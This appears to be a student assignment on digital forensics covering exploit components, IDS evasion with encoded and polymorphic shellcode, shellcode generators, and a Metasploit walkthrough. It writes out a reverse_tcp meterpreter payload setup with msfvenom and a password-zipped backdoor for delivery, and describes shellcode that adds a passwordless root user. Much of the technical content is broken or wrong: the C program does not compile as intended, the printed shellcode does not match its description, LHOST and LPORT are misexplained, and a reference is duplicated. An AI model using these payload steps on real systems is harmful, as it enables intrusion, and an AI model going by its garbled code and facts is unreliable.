Advanced Digital Forensics: Shellcode, Exploits, and Intrusion Detection

This article discusses advanced digital forensics, focusing on shellcode, exploits, and intrusion detection. It explains the three components of an exploit, the process of bypassing an intrusion detection system by shellcode, and the concept of program counter and its importance in shellcode exploitation. It also covers five different shellcode-generating approaches and their comparison, as well as the concept of polymorphic shellcode and the use of penetration toolkit for malicious purposes.

Running head: ADVANCED DIGITAL FORENSICS
Advanced Digital Forensics
Name of the Student
Name of the university
Authors note

1ADVANCED DIGITAL FORENSICS
Overview of Shellcode
In cyber-attacks shellcode helps the attackers in order to hide malicious codes from
intrusion detection systems by encrypting the code in the simplistic form. In this way it
becomes difficult for the intrusion detection as well as intrusion prevention systems to
identify this data as code from the attacker [3]. As the intrusion detection and prevention
systems detects the shellcodes depending on their signatures thus use of the polymorphic
shellcodes hides the frequently used strings for different kind of shellcodes, making the
predefined shellcode signatures in the IDS and IPS useless. In this way the shellcodes evade
the usual intrusion detection systems as they were not detected by the network security
systems.
Part A
Explanation of Three components of an Exploit
For any kind of exploit main three components are exploitation technique,
exploitation vector and finally the payload of the exploitation.
The exploitation vector is defined by the technique that will be used to gain
unauthorized access to any targeted network as well as to a device. In other words, it can be
the sequence of actions that exploits the vulnerability of the networks, devices or applications
installed in the devices. An example of the exploitation vector is the vulnerability in PCT
(Private Communications Transport) protocol [5]. It is an integral part of Secure Sockets
Layer (SSL) library in the vulnerable operating systems. Through the exploitation of this SSL
vulnerability may help the attacker to have elevated privileges on the remote server or system
to compromise security of it.

2ADVANCED DIGITAL FORENSICS
Another component is exploitation technique or the algorithm used for carrying out
the attack. Primarily the objective of the algorithm used in the exploitation is to control as
well as manipulate the control flow of the targeted program, network or the device. For the
selected vulnerability of the PCT of SSL the following techniques and algorithms are used:
Stack smashing (in this attack technique the attacker forces the vulnerable application
to overflow the memory stack [6]. Application or the network affected by stack smashing
vulnerability can accept data or code from untrusted sources and execute them with elevated
privileges.
In case the application buffer has data provided by an untrusted user (attacker) it may
lead to the corruption of the memory stack by injecting executable code [3]. In this way the
attacker can gain administrator privileges in the network or for the application.)
Pointer subterfuge (in this technique the attacker overwrites a function pointer in the
application instead of any return address which follows the execution of the function pointer.)
Arc injection (This attack techniques main goal is to inject a jump instruction or
return address in order to redirect the execution or control flow of the program to some other
existing or forcefully injected code in the program memory [4]. This is similar to inject or
adding an arc into the execution of the program.
Exploitation payload: Through the use of the Exploitation vector when the attacker
seizes the control over the execution flow of an application, network or the device the main
functional component that is used for implementation of the desired action in the system or
provide elevated privileges [1].
Explanation of the process of bypassing an intrusion detection system by shell code
Most of the IDSs are designed in such a way that they contain signatures of frequently
used command strings inside shellcode [2]. In order to avoid the detection of the shell code

3ADVANCED DIGITAL FORENSICS
in at the entrance of the network by using encoded or encrypted shellcode. This encoded
shell code contains a code stub which in turn decodes the shellcode that will be used to
exploit the network applications and gain elevated privileges from a remote position.
Using this technique for the shellcodes can helps in representation of the shellcodes
completely different from each other every time they were sent to exploit any network and
applications.
Concept of program counter and its importance ink shellcode Exploitation
In any computer the program counter or the current address register is a special kind
of the register that contains the address of the computing instruction that is going to be
executed next in turn. For any computing system every instruction as well as data have a
specific address in the memory [4]. The program counter or the counting register maintains
the sequence of the program instructions and the memory locations of data.
Whenever an instruction is processed by the processor the concerned application
updates the program counter (register) with the next instructions address that is going to be
fetched and executed. In the next stage program counter sends the information to memory
address register as a part of execution cycle [3]. In this way program counter escalates the
stored value by one for the next fetch action.
The attacker who is using the shellcode for exploiting any kind of vulnerability of
any application must gain control of the program counter of the system. After having control
over the program counter of the victim system attacker can modify the control flow of the
program execution while disrupting intended/desired behaviour of any application. Having
the ability to manipulate program counter instructions, attacker either redirects a victim
machine/application machine to execute an injected code or any system code that have
beneficial impacts for the attacker’s intent to exploit any vulnerability [1]. As an example of

4ADVANCED DIGITAL FORENSICS
this kind of manipulation is the return-to-libc attacks to the applications which are affected by
program counter exploitation.
Two advantages of using alphanumeric encoding engines to generate shellcode
Compared to other shellcode generation mechanisms are
i. It helps the users to encode contents or bytes which are usually not supported
by the vulnerable applications due to the restricted access to the memory in
order to stop the exploitation.
ii. With the use of the alphanumeric codes in the shellcode the monitoring tools
such as intrusion detection system and intrusion prevention system would not
be able to detect the shellcode in alphanumeric values generated from the
engine [2]. With the use of the alphanumeric code generation engine it
becomes difficult for the decoder in the IDS to decode the hidden shellcode
and block the data packets containing the shellcode.
Part B
C program for asking user name and password
#include <stdio.h>
#include <string.h>
int main()
{
FILE *file;
int i;
char user[25];

5ADVANCED DIGITAL FORENSICS
char passwd[25];
// File I/O operration
file = fopen("records.dat", "wt");
if (!file)
{
printf("Error!!! unable to open a file\a");
getchar();
return -1;
}
for (i = 1; i < 3; ++i)
{
printf("Enter Your user name: ");
scanf("%s", user);
printf("Password: ");
scanf("%s", passwd);
fprintf(file, "%s\\n", user, passwd);
}

6ADVANCED DIGITAL FORENSICS
// Closing the file the file
}
Shellcode for asking the user to enter username and password
The code packaged in the form of shellcode is following after using the shell forge,
\xB8\x04\x00\x00\x00\xBB\x01\x00\x00\x00\x8B
\x0D\x00\x00\x00\x00\xBA\x13\x00\x00\x00\xCD
\x80\xB8\x03\x00\x00\x00\xBB\x01\x00\x00\x00\x8B
\x0D\x00\x00\x00\x00\xBA\x17\x00\x00\x00\xCD\x80
\xB8\x04\x00\x00\x00\xBB\x01\x00\x00\x00\x8B\x0D
\x00\x00\x00\x00\xBA\x17\x00\x00\x00\xB8\x01\x00\
x00\x00\xBB\x00\x00\x00\x00\xCD\x80
Shellcode 1
The first shell code is designed in order to add a root user named 'r00t' with no
password to /etc/passwd folder.
Shellcode 2
The seconod shellcode is utised by the attacker inn order to get the data copied to
/etc/passwd to the /tmp/outfile in order to gain root privileges and access.

7ADVANCED DIGITAL FORENSICS
Part C
Explanation of the techniques used in attack
First used command is “msfconsole” to get into the metasploit console. In the next
stage the “show exploit” command that lists all the available exploits from the attacking
machine.
In the given attack, the attacker used the “metasploit/multi/ handler” in order to
Crete and connect to the Victim machine. In the next stage the “set PAYLOAD
windows/meterpreter/reverse_tcp” command is used in order to set the payload for the
attack. Next used command is “msfvenom –p windows/meterpreter/reverse_tcp LHOST
address”. Then the victim and attacker machines are assigned with ports to carry out the
payload. In this process the LHOST is the IP address of the machine that is targeted to
connect to, literally [4]. As both the machines are in a same network, it is unlikely for the
target machine to reach out the attacker machine unless both of them are in the same network.
Next the SET LPORT: it is the port of the victim machine that the attacker targets to connect
to the machine. After this, the payload of the attack is determined and the attack vector used
is the Backdoor.exe. In the next stage, to send the backdoor file to the victim windows
machine by zipping it with the password and message the used command is “zip –password
1234 important .zip”. in order to check if the exploits are working on the victim machine used
command is “job” along with that to find active sessions for the exploit command is
“session”
Identification, Name and capabilities of the shellcode
For the given attack displayed in the demo reverse shell code is used in order to
exploit the target. reverse shellcode is utilized in the attacks as shellcode forces the target
machine to communicate with the attacking machine. On the other hand, the attacking

8ADVANCED DIGITAL FORENSICS
machine communicated with the use of listener port on established with the use of
metaspoloit.
Five different shellcode-generating approaches and their comparison
Following are some of the methods that are used for shell code generation in
vulnerability exploitation. Following are the list of methods
Use of msfvenom: In vulnerability exploitation one of the techniques that can be
used is called msfvenom. In this method the generated shell code can be developed for
exploiting multiple platforms. In this shell code generation method, it is important that
developed shellcode should only consist ASCII characters. In addition to that, the Msfvenom
package permits the user to choose output format from the shell code [2]. Hence the complete
code that puts all of shellcode can be provided into python scripts.
Synesthesia approach for shellcode generation: One of the most recent approaches
used for shellcode generations and provides sophisticated shellcodes that are undetectable by
the detection system by restricting the method to generate shellcodes without any null byte,
and mix of upper and lowercase characters in the process.
Use of NASM: it is the most basic approach of generating the shell codes and
requires creation of the shellcode by writing them in assembly code. It generates the
shellcodes using the x86_64 assemblers.
Use of Shellforge: ShellForge which is written and developed in Python are able to
develop shellcodes from C programming language. This approach is stimulated from
Hellkit. ShellForge consist of few wrapper functions that works around the system calls in
order to exploit the vulnerabilities.

9ADVANCED DIGITAL FORENSICS
A C program converted into a shell code that uses system calls will be using the
wrapper classes rather than the original libc calls. In order to generate any shell code from a
c code ShellForge utilizes the gcc compiler in order to convert the C program into assembler.
In the next stage shellforge modifies it a bit, extracts the code, compiles and encodes in order
to avoid NULL bytes. At the end it adds a decoder at the beginning of the output package.
Use of PWNtools: pwntools is a part of CTF (Catch The Flag) framework.
Shellcodes generated with the PWNtools are mainly responsible for exploiting development
library for the targeted framework. The tools are developed using the Python language and is
developed in such a way that it can help in rapid development as well as prototyping.
Moreover, it is intended to make the complete exploitation technique as simple as possible.
PWNtools many features in exploitation but only shell craft module is used for
generation of shellcode. This module allows the attackers to develop assembly code like what
is done using the NASM using python language [6].
Use of the PWNtools does not require the attacker to know much about assembly to
create shell. Moreover, the application provides helpful tools in order to write shellcode
faster.
Comparison of methods
For the msfvenom and shell forge the main advantage of this solution is that we don't have
to write anything ourselves. The attackers can use predefined shellcodes to exploit any
targeted architectures and platforms instead. In addition to that available options like '--
bad-chars', where we can blacklist some of the bytes or the null bytes.
On the contrary, the Pawntool On the highest level we can create shellcodes like with
msfvenom, there are predefined C functions as well as whole payloads [2]. For NASM the

10ADVANCED DIGITAL FORENSICS
most important drawback of using this tool it is not possible to generate shellcode for other
architectures like android or armx64
Concept of polymorphic shellcode and use of penetration toolkit for
malicious purposes
Shellcode polymorphism technique encodes a generated shellcode which is
responsible for exploiting the vulnerability through the polymorphic structures and avoid an
IPS that distinguishes a shellcode as indicated by the predefined signatures from one or a
couple variations of that shellcode. One of this possible technique is polymorphism. For
instance, a hacker can scramble or pack the shellcode, and prepend a bit of code to decode or
then again decompress the shellcode in the attacking process. An attacker can likewise
supplant a bit of the first code with various, however semantically proportionate guidelines
[5]. An inconsequential case in the last case is adding or inserting the nop instructions to be
executed, i.e., no task, to influence the code to appear to be unique.

11ADVANCED DIGITAL FORENSICS
References
[1]I. Arce, "The shellcode generation", IEEE Security & Privacy Magazine, vol. 2,
no. 5, pp. 72-76, 2004.
[2]W. Kim, S. Kang, K. Kim and S. Kim, "Detecting ShellCode Using Entropy",
KIPS Transactions on Computer and Communication Systems, vol. 3, no. 3, pp. 87-96, 2014.
[3]K. Iwamoto and K. Wasaki, "A Method for Shellcode Extractionfrom Malicious
Document Files Using Entropy and Emulation", International Journal of Engineering and
Technology, vol. 8, no. 2, pp. 101-106, 2016
[4]T. Cheng, Y. Lin, Y. Lai and P. Lin, "Evasion Techniques: Sneaking through Your
Intrusion Detection/Prevention Systems", IEEE Communications Surveys & Tutorials, vol.
14, no. 4, pp. 1011-1020, 2012.
[5]K. Iwamoto and K. Wasaki, "A Method for Shellcode Extractionfrom Malicious
Document Files Using Entropy and Emulation", International Journal of Engineering and
Technology, vol. 8, no. 2, pp. 101-106, 2016.
[6] J. Mason, S. Small, F. Monrose and G. MacManus, “English shellcode.” ,
In Proceedings of the 16th ACM conference on Computer and communications security . pp.
524-533, 2009.